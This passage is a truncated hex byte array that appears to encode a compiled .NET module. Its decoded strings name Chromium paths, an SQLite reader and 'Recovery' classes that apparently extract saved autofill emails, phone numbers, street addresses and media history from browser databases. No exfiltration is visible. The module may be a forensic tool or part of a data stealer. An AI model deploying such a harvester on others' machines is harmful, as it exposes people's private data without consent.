0x00, 0x69, 0x74, 0x65, 0x6D, 0x5F, 0x74, 0x79, 0x70, 0x65, 0x00, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x68, 0x61, 0x72, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x65, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x44, 0x69, 0x73, 0x70, 0x6F, 0x73, 0x65, 0x00, 0x50, 0x61, 0x72, 0x73, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x75, 0x73, 0x65, 0x5F, 0x64, 0x61, 0x74, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x75, 0x73, 0x65, 0x5F, 0x64, 0x61, 0x74, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x74, 0x61, 0x74, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x74, 0x61, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x47, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x61, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x52, 0x65, 0x6C, 0x61, 0x78, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x42, 0x79, 0x74, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x53, 0x51, 0x4C, 0x44, 0x61, 0x74, 0x61, 0x54, 0x79, 0x70, 0x65, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x00, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x4F, 0x66, 0x00, 0x45, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x00, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x69, 0x6E, 0x67, 0x00, 0x54, 0x6F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x53, 0x75, 0x62, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x4D, 0x61, 0x74, 0x68, 0x00, 0x47, 0x65, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x50, 0x61, 0x74, 0x68, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x50, 0x61, 0x74, 0x68, 0x00, 0x70, 0x61, 0x74, 0x68, 0x00, 0x44, 0x65, 0x63, 0x69, 0x6D, 0x61, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x65, 0x6D, 0x61, 0x69, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x65, 0x6D, 0x61, 0x69, 0x6C, 0x00, 0x57, 0x65, 0x62, 0x20, 0x44, 0x61, 0x74, 0x61, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x61, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x61, 0x6C, 0x62, 0x75, 0x6D, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x61, 0x6C, 0x62, 0x75, 0x6D, 0x00, 0x72, 0x6F, 0x6F, 0x74, 0x5F, 0x6E, 0x75, 0x6D, 0x00, 0x72, 0x6F, 0x77, 0x5F, 0x6E, 0x75, 0x6D, 0x00, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x70, 0x61, 0x6E, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x4F, 0x70, 0x65, 0x6E, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x6F, 0x72, 0x69, 0x67, 0x69, 0x6E, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x6F, 0x72, 0x69, 0x67, 0x69, 0x6E, 0x00, 0x70, 0x6C, 0x61, 0x79, 0x62, 0x61, 0x63, 0x6B, 0x5F, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x65, 0x54, 0x6F, 0x00, 0x5A, 0x65, 0x72, 0x6F, 0x00, 0x75, 0x6E, 0x69, 0x78, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x00, 0x43, 0x68, 0x61, 0x72, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x00, 0x61, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x70, 0x68, 0x6F, 0x6E, 0x65, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x00, 0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6C, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x65, 0x67, 0x65, 0x72, 0x00, 0x53, 0x51, 0x4C, 0x69, 0x74, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00, 0x53, 0x51, 0x4C, 0x5F, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x62, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x62, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x00, 0x42, 0x69, 0x74, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x65, 0x72, 0x00, 0x54, 0x6F, 0x4C, 0x6F, 0x77, 0x65, 0x72, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x5F, 0x6C, 0x6F, 0x77, 0x65, 0x72, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x5F, 0x6C, 0x6F, 0x77, 0x65, 0x72, 0x00, 0x46, 0x6C, 0x6F, 0x6F, 0x72, 0x00, 0x47, 0x65, 0x74, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x6C, 0x61, 0x73, 0x74, 0x5F, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x5F, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x6C, 0x61, 0x73, 0x74, 0x5F, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x5F, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73, 0x74, 0x69, 0x63, 0x73, 0x00, 0x41, 0x64, 0x64, 0x53, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x00, 0x46, 0x72, 0x6F, 0x6D, 0x53, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x00, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x56, 0x69, 0x73, 0x75, 0x61, 0x6C, 0x42, 0x61, 0x73, 0x69, 0x63, 0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x69, 0x6E, 0x67, 0x4D, 0x6F, 0x64, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x69, 0x65, 0x73, 0x00, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x00, 0x55, 0x74, 0x69, 0x6C, 0x69, 0x74, 0x69, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x41, 0x6C, 0x6C, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x00, 0x61, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x70, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x73, 0x00, 0x66, 0x69, 0x65, 0x6C, 0x64, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x00, 0x4D, 0x53, 0x54, 0x6F, 0x4D, 0x69, 0x6E, 0x75, 0x74, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00, 0x64, 0x62, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x73, 0x00, 0x43, 0x68, 0x72, 0x6F, 0x6D, 0x69, 0x75, 0x6D, 0x50, 0x61, 0x74, 0x68, 0x73, 0x00, 0x61, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x65, 0x6D, 0x61, 0x69, 0x6C, 0x73, 0x00, 0x55, 0x74, 0x69, 0x6C, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x64, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x6D, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x64, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x6D, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x6D, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x6D, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x4F, 0x70, 0x65, 0x6E, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x65, 0x74, 0x5F, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x65, 0x74, 0x5F, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x00, 0x53, 0x75, 0x62, 0x74, 0x72, 0x61, 0x63, 0x74, 0x00, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x47, 0x65, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x53, 0x70, 0x6C, 0x69, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x00, 0x73, 0x71, 0x6C, 0x5F, 0x73, 0x74, 0x61, 0x74, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x52, 0x6F, 0x77, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x75, 0x73, 0x65, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x75, 0x73, 0x65, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x54, 0x72, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x72, 0x74, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x61, 0x72, 0x74, 0x69, 0x73, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x61, 0x72, 0x74, 0x69, 0x73, 0x74, 0x00, 0x4D, 0x6F, 0x76, 0x65, 0x4E, 0x65, 0x78, 0x74, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x00, 0x65, 0x6E, 0x64, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x54, 0x6F, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x4B, 0x65, 0x79, 0x00, 0x4D, 0x75, 0x6C, 0x74, 0x69, 0x70, 0x6C, 0x79, 0x00, 0x41, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x45, 0x6D, 0x61, 0x69, 0x6C, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x41, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x50, 0x6C, 0x61, 0x79, 0x62, 0x61, 0x63, 0x6B, 0x5F, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x41, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x50, 0x68, 0x6F, 0x6E, 0x65, 0x4E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x41, 0x75, 0x74, 0x6F, 0x66, 0x69, 0x6C, 0x6C, 0x5F, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x73, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x5F, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x63, 0x69, 0x74, 0x79, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x63, 0x69, 0x74, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x64, 0x65, 0x70, 0x65, 0x6E, 0x64, 0x65, 0x6E, 0x74, 0x5F, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x64, 0x65, 0x70, 0x65, 0x6E, 0x64, 0x65, 0x6E, 0x74, 0x5F, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x45, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x00, 0x00, 0x00, 0x1F, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x74, 0x00, 0x20, 0x00, 0x33, 0x00, 0x00, 0x45, 0x4E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x33, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x5B, 0x41, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x2D, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x75, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x63, 0x00, 0x61, 0x00, 0x70, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x73, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x75, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x01, 0x0B, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x03, 0x28, 0x00, 0x00, 0x03, 0x20, 0x00, 0x00, 0x0D, 0x55, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x51, 0x00, 0x55, 0x00, 0x45, 0x00, 0x00, 0x11, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x61, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x09, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x0B, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x00, 0x17, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x19, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x72, 0x00, 0x65, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x00, 0x1D, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x64, 0x00, 0x00, 0x0B, 0x63, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x23, 0x61, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x09, 0x67, 0x00, 0x75, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x19, 0x63, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x5F, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x1D, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x65, 0x00, 0x65, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x25, 0x64, 0x00, 0x65, 0x00, 0x70, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x00, 0x0B, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x0F, 0x7A, 0x00, 0x69, 0x00, 0x70, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x19, 0x73, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x19, 0x63, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x72, 0x00, 0x79, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x1B, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x69, 0x00, 0x66, 0x00, 0x69, 0x00, 0x65, 0x00, 0x64, 0x00, 0x00, 0x0D, 0x6F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x00, 0x1B, 0x6C, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x75, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x13, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x11, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x2F, 0x61, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x00, 0x0B, 0x65, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x00, 0x2F, 0x61, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x68, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x0D, 0x6E, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x1B, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x20, 0x00, 0x48, 0x00, 0x69, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x1F, 0x70, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x79, 0x00, 0x62, 0x00, 0x61, 0x00, 0x63, 0x00, 0x6B, 0x00, 0x53, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x07, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x17, 0x64, 0x00, 0x75, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5F, 0x00, 0x6D, 0x00, 0x73, 0x00, 0x00, 0x17, 0x70, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x69, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5F, 0x00, 0x6D, 0x00, 0x73, 0x00, 0x00, 0x27, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x75, 0x00, 0x70, 0x00, 0x64, 0x00, 